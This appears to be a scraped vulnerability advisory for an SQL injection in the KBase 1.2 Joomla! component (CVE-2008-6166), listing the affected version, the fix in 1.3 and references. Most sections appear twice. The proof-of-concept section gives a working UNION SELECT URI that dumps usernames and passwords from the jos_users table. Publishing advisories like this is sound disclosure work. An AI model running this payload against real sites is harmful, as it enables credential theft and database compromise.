KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability
BID:31902
Info
KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 31902 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6166 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 24 2008 12:00AM |
| Updated: | Apr 16 2015 05:52PM |
| Credit: | H!tm@N |
| Vulnerable: |
Joomla KBase 1.2 |
| Not Vulnerable: |
Joomla KBase 1.3 |
Discussion
KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability
The KBase component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
KBase 1.2 is vulnerable; other versions may also be affected.
The KBase component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
KBase 1.2 is vulnerable; other versions may also be affected.
Exploit / POC
KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_kbase&view=article&id=-1+union+select+1,concat(username,char(58),password)KHG,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users--
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_kbase&view=article&id=-1+union+select+1,concat(username,char(58),password)KHG,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users--
Solution / Fix
KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability
Solution:
The vendor has released a fix to address this issue. Please see the references for more information.
Joomla KBase 1.2
Solution:
The vendor has released a fix to address this issue. Please see the references for more information.
Joomla KBase 1.2
-
Joomla KBase 1.3
http://www.jmds.eu/download-document/31-kbase.html
References
KBase Joomla! Component 'id' Parameter SQL Injection Vulnerability
References:
References:
- John Messingham Development Services (John Messingham Development Services)
- KBase - Component (Version 1.3) (Joomla)
- KBase Product Page (John Messingham Development Services)